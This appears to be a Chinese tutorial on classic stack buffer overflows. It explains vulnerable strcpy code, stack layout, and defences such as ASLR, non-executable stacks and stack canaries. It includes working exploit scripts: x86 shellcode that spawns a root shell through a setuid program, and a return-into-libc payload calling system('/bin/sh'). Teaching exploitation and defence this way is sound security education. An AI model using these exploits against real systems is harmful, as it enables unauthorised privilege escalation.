缓冲区溢出

利用缓冲区溢出来执行任意代码

1、缓冲区溢出示例

缓冲区溢出(buffer overflow):最有名的漏洞之一,输入的数据超出了程序规定的内存范围,数据溢出导致程序发生异常。

eg.

1
2
3
4
5
6
7
8
#include <string.h>

int main(int argc, char *argv[])
{
char buff[64];
strcpy(buff, argv[1]);
return 0;
}

这个程序为 buff 数组分配了一块 64 字节的内存空间,但传递给程序的 参数 argv[1] 是由用户任意输入的,因此参数的长度很有可能会超过 64 字节

因此,当用户故意向程序传递一个超过 64 字节的字符串时,就会在 main 函数中引发缓冲区溢出。

2、让普通用户用ROOT权限运行程序

setuid :让用户使用程序的所有者权限来运行程序

一个 sample

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char *argv[])
{
char *data[2];
char *exe = "/bin/sh";
data[0] = exe;
data[1] = NULL;

setuid(0); //使用了setuid
execve(data[0], data, NULL); //调用/bin/sh
return 0;
}

以root权限编译

1
2
3
4
su -i
gcc -Wall sample.c -o sample
chmod 4755 sample
ls -l sample
3、通过缓冲区溢出夺取权限示例

一个有漏洞的sample:会将输入的字符串原原本本地复制到一块只有 64 字节的内存空间中,由于字符串是由用户任意输入的,会有缓存溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <string.h>

unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}

int cpy(char *str)
{
char buff[64];
printf("0x%08lx", get_sp() + 0x10);
getchar();
strcpy(buff, str);
return 0;
}

int main(int argc, char *argv[])
{
cpy(argv[1]);
return 0;
}

一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/local/bin/python

import sys
from struct import *

if len(sys.argv) != 2:
addr = 0x41414141
else:
addr = int(sys.argv[1], 16)

s = ""
s += "\x31\xc0\x50\x89\xe0\x83\xe8\x10" # 8
s += "\x50\x89\xe3\x31\xc0\x50\x68\x2f" #16
s += "\x2f\x73\x68\x68\x2f\x62\x69\x6e" #24
s += "\x89\xe2\x31\xc0\x50\x53\x52\x50" #32
s += "\xb0\x3b\xcd\x80\x90\x90\x90\x90" #40
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #48
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #56
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #64
s += "\x90\x90\x90\x90"+pack('<L',addr) #72

sys.stdout.write(s)

exploit.py 的输出结果输入给 sample.c,我们就成功地以 root 权限运行了 /bin/sh

1
./sample "`python exploit.py bfbfebe8`"

4、执行任意代码的原理
在函数调用的结构中会用到栈的概念

一个sample:

  • func 函数有三个参数,分别传递了 1、2、3 三个数字

  • func 函数内部没有进行任何处理

1
2
3
4
5
6
7
8
9
10
11
void func(int x, int y, int z)
{
int a;
char buff[8];
}

int main(void)
{
func(1, 2, 3);
return 0;
}

查看汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
.file	"sample4.c"
.text
.p2align 4,,15
.globl func
.type func, @function
func:
pushl %ebp 保存ebp
movl %esp, %ebp 将ebp移动到esp的位置
subl $16, %esp
leave 恢复ebp和esp
ret 跳转到调用该函数的位置
.size func, .-func
.p2align 4,,15
.globl main
.type main, @function
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx
subl $12, %esp 先将参数放入栈中
movl $3, 8(%esp) 参数3
movl $2, 4(%esp) 参数2
movl $1, (%esp) 参数1
call func 调用func
movl $0, %eax
addl $12, %esp
popl %ecx
popl %ebp
leal -4(%ecx), %esp
ret
.size main, .-main
.ident "GCC: (GNU) 4.2.2 20070831 prerelease [FreeBSD]"

当调用 func 函数时,在跳转到函数起始地址的瞬间,栈的情形如下图 所示:

img

接下来, push ebp,esp 继续递减,为函数内部的局部变量分配内存空间

在这里插入图片描述

这时,如果数据溢出,超过了原本分配给数组 buff 的内存空间,数组 buff 后面的 %ebp、ret_addr 以及传递给 func 函数的参数都会被溢出的数据覆盖掉

ret_addr 存放的是函数逻辑结束后返回 main 函数的目标地址。也就是说,如果覆盖了 ret_addr,攻击者就可以让程序跳转到任意地址。如果攻击者事先准备一段代码,然后让程序跳转到这段代码,也就相当于成功攻击了“可执行任意代码的漏洞”

防御攻击的技术

1、ASLR

地址空间布局随机化(Address Space Layout Randomization, ASLR): 一种对栈、模块、动态分配的内存空间等的地址(位置)进行随机配置的机制,属于操作系统的功能。

一个test: 在启用ASLR的状态下,反复运行这个程序,我们会发现每次显示的地址都不同

1
2
3
4
5
6
7
8
9
10
11
12
13
// $ gcc test00.c -o test00
#include <stdio.h>
#include <stdlib.h>
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
int main(void)
{
printf("malloc: %p\n", malloc(16));
printf(" stack: 0x%lx\n", get_sp());
return 0;
}

当启用 ASLR 时,程序所显示的地址每次都不同,因此,我们无法将正确的地址传递给 exp,也就无法成功夺取系统权限了

2、Exec-Shield

Exec-Shield :一种通过“限制内存空间的读写和执行权限”来防御攻击的机制,除存放可执行代码的内存空间以外,对其余内存空间尽量禁用执行权限

  • 通常情况下我们不会在用作栈的内存空间里存放可执行的机器语言代码,因此我们可以将栈空间的权限设为可读写但不可执行
  • 在代码区域中存放的机器语言代码,通常情况下也不需要在运行时进行改写,因此我们可以将这部分内存的权限设置为不可写入
  • 这样一来,即便我们将 shellcode 复制到栈,如果这些代码无法执行, 那么就会产生 Segmentation fault,导致程序停止运行

注:要在系统中查看某个程序进程内存空间的读写和执行权限,在程序运行时输出 /proc//maps 就可以

3、StackGuard

StackGuard:一种在编译时在各函数入口和出口插入用于检测栈数据完整性的机器语言代码的方法,它属于编译器的安全机制

一个示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
	.file	"test.c"
.text
.globl get_sp
.type get_sp, @function
get_sp:
pushl %ebp
movl %esp, %ebp
#APP
# 5 "test.c" 1
movl %esp, %eax
addl $0x58, %eax
# 0 "" 2
#NO_APP
popl %ebp
ret
.size get_sp, .-get_sp
.section .rodata
.LC0:
.string "0x%08lx"
.text
.globl main
.type main, @function
main:
pushl %ebp
movl %esp, %ebp
andl $-16, %esp
subl $64, %esp
movl 12(%ebp), %eax
movl %eax, 28(%esp)
movl %gs:20, %eax 每次运行时%gs:20中都会存入一个随机数
movl %eax, 60(%esp) 将随机值添加到栈的最后,由于 60(%esp) 后面就是 ebp 和 ret_addr, 因此这样的配置可以保护关键地址的数据不被篡改
xorl %eax, %eax
call get_sp
movl $.LC0, %edx
movl %eax, 4(%esp)
movl %edx, (%esp)
call printf
call getchar
movl 28(%esp), %eax
addl $4, %eax
movl (%eax), %eax
movl %eax, 4(%esp)
leal 44(%esp), %eax
movl %eax, (%esp)
call strcpy
movl $0, %eax
movl 60(%esp), %edx 将栈的最后一个值
xorl %gs:20, %edx 与%gs:20进行对比
je .L5 如果一致则跳转到.L5
call __stack_chk_fail 否则跳转到强制终止代码
.L5:
leave
ret
.size main, .-main
.ident "GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3"
#.section .note.GNU-stack,"",@progbits

简单来说,StackGuard 机制所保护的是 ebpret_addr,是一种针对典型栈缓冲区溢出攻击的防御手段。

绕开安全机制的技术

1、Return-into-libc

Return-into-libc 是一种破解 Exec-Shield 的方法

思路:即便无法执行任意代码,最终只要能够运行任意程序,也可以夺取系统权限
原理:通过调整参数和栈的配置,使得程序能够跳转到 libc.so 中的 system 函数以及 exec 类函数,借此来运行 /bin/sh 等 程序。
exp如下:system 函数的返回目标设为 exit,并将 /bin/sh 的地址作为参数传递过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python

import sys
from struct import *

if len(sys.argv) != 2:
addr = 0x41414141
else:
addr = int(sys.argv[1], 16) + 0x08

fsystem = int("<16进制system地址>", 16)
fexit = int("<16进制exit地址>", 16)

data = "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += pack('<L', fsystem)
data += pack('<L', fexit)
data += pack('<L', addr)
data += "/bin/sh"

sys.stdout.write(data)
2、ROP

面向返回编程(Return-Oriented-Programming,ROP):利用未随机化的那些模块内部的汇编代码,拼接出我们所需要的程序逻辑,第5章再提

结语
主要是最经典最基础的缓冲区溢出的介绍,然后有些基础防御和绕过